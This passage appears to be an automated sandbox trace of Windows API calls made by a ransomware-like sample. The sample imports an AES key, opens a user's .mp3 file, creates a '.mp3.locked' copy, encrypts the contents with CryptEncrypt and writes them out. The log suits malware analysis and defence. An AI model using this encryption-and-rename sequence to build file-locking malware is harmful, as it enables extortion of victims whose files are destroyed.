(param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYm柟፽굥ᑋ") returned 0x28 [0126.229] SystemFunction040 (in: Memory=0x8e6f95c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f95c) returned 0x0 [0126.229] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0126.229] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0126.229] SystemFunction041 (in: Memory=0x8e6f95c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f95c) returned 0x0 [0126.229] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY፽굥ᑋ") returned 0x28 [0126.229] SystemFunction040 (in: Memory=0x8e6f95c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f95c) returned 0x0 [0126.229] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0126.229] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0126.229] SystemFunction041 (in: Memory=0x8e6f95c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f95c) returned 0x0 [0126.229] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0፽굥ᑋ") returned 0x28 [0126.229] SystemFunction040 (in: Memory=0x8e6f95c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f95c) returned 0x0 [0126.229] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0126.229] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0126.229] SystemFunction041 (in: Memory=0x8e6f95c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f95c) returned 0x0 [0126.229] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0N굥ᑋ") returned 0x28 [0126.229] SystemFunction040 (in: Memory=0x8e6f95c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f95c) returned 0x0 [0126.229] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0126.229] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0126.229] SystemFunction041 (in: Memory=0x8e6f95c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f95c) returned 0x0 [0126.230] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTᑋ") returned 0x28 [0126.230] SystemFunction040 (in: Memory=0x8e6f95c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f95c) returned 0x0 [0126.230] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0126.230] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0126.230] SystemFunction041 (in: Memory=0x8e6f95c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f95c) returned 0x0 [0126.230] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTAᑋ") returned 0x28 [0126.230] SystemFunction040 (in: Memory=0x8e6f95c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f95c) returned 0x0 [0126.230] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0126.230] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0126.230] SystemFunction041 (in: Memory=0x8e6f95c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f95c) returned 0x0 [0126.230] SystemFunction040 (in: Memory=0x8e6f95c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f95c) returned 0x0 [0126.230] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x5a6f\x5070\x4b01\x94a0\xc6ff\x7ef2\xe478\x441f") returned 0x28 [0126.230] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x5a6f\x5070\x4b01\x94a0\xc6ff\x7ef2\xe478\x441f") returned 0x28 [0126.230] SystemFunction041 (in: Memory=0x8e30fbc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30fbc) returned 0x0 [0126.230] SystemFunction040 (in: Memory=0x8e30fbc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30fbc) returned 0x0 [0126.230] SystemFunction041 (in: Memory=0x8e30fbc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30fbc) returned 0x0 [0126.231] SystemFunction040 (in: Memory=0x8e30fbc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30fbc) returned 0x0 [0126.231] SystemFunction041 (in: Memory=0x8e30fbc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30fbc) returned 0x0 [0126.231] SystemFunction040 (in: Memory=0x8e30fbc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30fbc) returned 0x0 [0126.231] SystemFunction041 (in: Memory=0x8e30fbc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30fbc) returned 0x0 [0126.232] SystemFunction040 (in: Memory=0x8e30fbc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30fbc) returned 0x0 [0126.232] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8f0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8f0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8d, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.232] SystemFunction041 (in: Memory=0x8e30fbc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30fbc) returned 0x0 [0126.232] SystemFunction040 (in: Memory=0x8e30fbc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30fbc) returned 0x0 [0126.232] CryptAcquireContextW (in: phProv=0x99ae670, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae670*=0x8e022d8) returned 1 [0126.233] CryptImportKey (in: hProv=0x8e022d8, pbData=0x6c41e34, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x99aea48 | out: phKey=0x99aea48*=0x8e84f38) returned 1 [0126.233] CryptContextAddRef (hProv=0x8e022d8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0126.233] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae748, nSize=0x100 | out: lpBuffer="ᴬۄ") returned 0x0 [0126.233] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeb20*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeb20*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8e, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.233] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aea80*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aea80*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8d, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.233] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb10*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8e, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb10*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8e, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.234] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\MrBvDZJ m.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\upd4fs3k7gadn\\mrbvdzj m.mp3")) returned 0x20 [0126.235] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\MrBvDZJ m.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\upd4fs3k7gadn\\mrbvdzj m.mp3")) returned 0x20 [0126.235] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\MrBvDZJ m.mp3", nBufferLength=0x105, lpBuffer=0x99ae400, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\MrBvDZJ m.mp3", lpFilePart=0x0) returned 0x4e [0126.235] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\MrBvDZJ m.mp3", nBufferLength=0x105, lpBuffer=0x99ae3c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\MrBvDZJ m.mp3", lpFilePart=0x0) returned 0x4e [0126.235] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeaac*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeaac*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8e, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.235] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\MrBvDZJ m.mp3", nBufferLength=0x105, lpBuffer=0x99ae5a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\MrBvDZJ m.mp3", lpFilePart=0x0) returned 0x4e [0126.235] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\MrBvDZJ m.mp3", nBufferLength=0x105, lpBuffer=0x99ae4a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\MrBvDZJ m.mp3", lpFilePart=0x0) returned 0x4e [0126.235] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae590, nSize=0x100 | out: lpBuffer="") returned 0x0 [0126.235] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae968*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae968*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8f, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.235] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8c8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8c8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8e, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.235] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae958*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8f, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae958*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8f, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.236] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\MrBvDZJ m.mp3", nBufferLength=0x105, lpBuffer=0x99add60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\MrBvDZJ m.mp3", lpFilePart=0x0) returned 0x4e [0126.236] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae254) returned 1 [0126.236] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\MrBvDZJ m.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\upd4fs3k7gadn\\mrbvdzj m.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x874 [0126.236] GetFileType (hFile=0x874) returned 0x1 [0126.236] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae250) returned 1 [0126.236] GetFileType (hFile=0x874) returned 0x1 [0126.236] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8f4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8f4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8f, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.236] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae590, nSize=0x100 | out: lpBuffer="\x1000\x727a\xe67c\x99a\x2810\x64b\x1228\x64b\xbab0\x42f\x14\x01\x1230\x64b\xd440\x73ae\x20") returned 0x0 [0126.236] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae968*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae968*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x90, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.236] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8c8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8c8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8f, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.236] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae958*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x90, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae958*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x90, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.237] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\MrBvDZJ m.mp3.locked", nBufferLength=0x105, lpBuffer=0x99add60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\MrBvDZJ m.mp3.locked", lpFilePart=0x0) returned 0x55 [0126.237] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae254) returned 1 [0126.237] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\MrBvDZJ m.mp3.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\upd4fs3k7gadn\\mrbvdzj m.mp3.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x878 [0126.237] GetFileType (hFile=0x878) returned 0x1 [0126.237] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae250) returned 1 [0126.237] GetFileType (hFile=0x878) returned 0x1 [0126.237] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8f4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8f4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x90, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.237] CryptGenRandom (in: hProv=0x8e022d8, dwLen=0x10, pbBuffer=0x6c5c054 | out: pbBuffer=0x6c5c054) returned 1 [0126.238] CryptContextAddRef (hProv=0x8e022d8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0126.238] CryptDuplicateKey (in: hKey=0x8e84f38, pdwReserved=0x0, dwFlags=0x0, phKey=0x99ae9f8 | out: phKey=0x99ae9f8*=0x8e84d38) returned 1 [0126.238] CryptContextAddRef (hProv=0x8e022d8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0126.238] CryptSetKeyParam (hKey=0x8e84d38, dwParam=0x4, pbData=0x6c5d424*=0x1, dwFlags=0x0) returned 1 [0126.238] CryptSetKeyParam (hKey=0x8e84d38, dwParam=0x1, pbData=0x6c5d3f0, dwFlags=0x0) returned 1 [0126.238] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae590, nSize=0x100 | out: lpBuffer="\xee43\xbd77\x130f\x1c63\x112f\xf0f1\xdde\xb55d\xcd98\xcf99\xf2b2\xfcb9\xb804\xe158\xaee9\x5444\x6361\x3935\x3031\x6461\x6538\x3332\x6334\x3261\xe0") returned 0x0 [0126.238] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae968*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae968*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x91, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.238] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8c8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8c8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x90, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.238] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae958*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x91, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae958*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x91, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.238] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8f4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8f4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x91, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.238] ReadFile (in: hFile=0x874, lpBuffer=0x6c609ac, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae9fc, lpOverlapped=0x0 | out: lpBuffer=0x6c609ac*, lpNumberOfBytesRead=0x99ae9fc*=0xa2b3, lpOverlapped=0x0) returned 1 [0126.239] CryptEncrypt (in: hKey=0x8e84d38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6c749b8*, pdwDataLen=0x99ae9f0*=0xa2b0, dwBufLen=0xa2b0 | out: pbData=0x6c749b8*, pdwDataLen=0x99ae9f0*=0xa2b0) returned 1 [0126.239] WriteFile (in: hFile=0x878, lpBuffer=0x6c5c170*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x99ae9d4, lpOverlapped=0x0 | out: lpBuffer=0x6c5c170*, lpNumberOfBytesWritten=0x99ae9d4*=0x1000, lpOverlapped=0x0) returned 1 [0126.240] WriteFile (in: hFile=0x878, lpBuffer=0x6c759a4*, nNumberOfBytesToWrite=0x92c4, lpNumberOfBytesWritten=0x99ae9d4, lpOverlapped=0x0 | out: lpBuffer=0x6c759a4*, lpNumberOfBytesWritten=0x99ae9d4*=0x92c4, lpOverlapped=0x0) returned 1 [0126.240] ReadFile (in: hFile=0x874, lpBuffer=0x6c609ac, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae9fc, lpOverlapped=0x0 | out: lpBuffer=0x6c609ac*, lpNumberOfBytesRead=0x99ae9fc*=0x0, lpOverlapped=0x0) returned 1 [0126.240] CryptEncrypt (in: hKey=0x8e84d38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6c7ece8*, pdwDataLen=0x99aea50*=0x10, dwBufLen=0x10 | out: pbData=0x6c7ece8*, pdwDataLen=0x99aea50*=0x10) returned 1 [0126.240] CryptEncrypt (in: hKey=0x8e84d38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6c7ed1c*, pdwDataLen=0x99aea58*=0x0, dwBufLen=0x10 | out: pbData=0x6c7ed1c*, pdwDataLen=0x99aea58*=0x10) returned 1 [0126.240] WriteFile (in: hFile=0x878, lpBuffer=0x6c5c170*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x99aea28, lpOverlapped=0x0 | out: lpBuffer=0x6c5c170*, lpNumberOfBytesWritten=0x99aea28*=0x10, lpOverlapped=0x0) returned 1 [0126.241] CloseHandle (hObject=0x878) returned 1 [0126.243] CloseHandle (hObject=0x874) returned 1 [0126.243] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\MrBvDZJ m.mp3", nBufferLength=0x105, lpBuffer=0x99ae4a0, lpFilePart=0x0 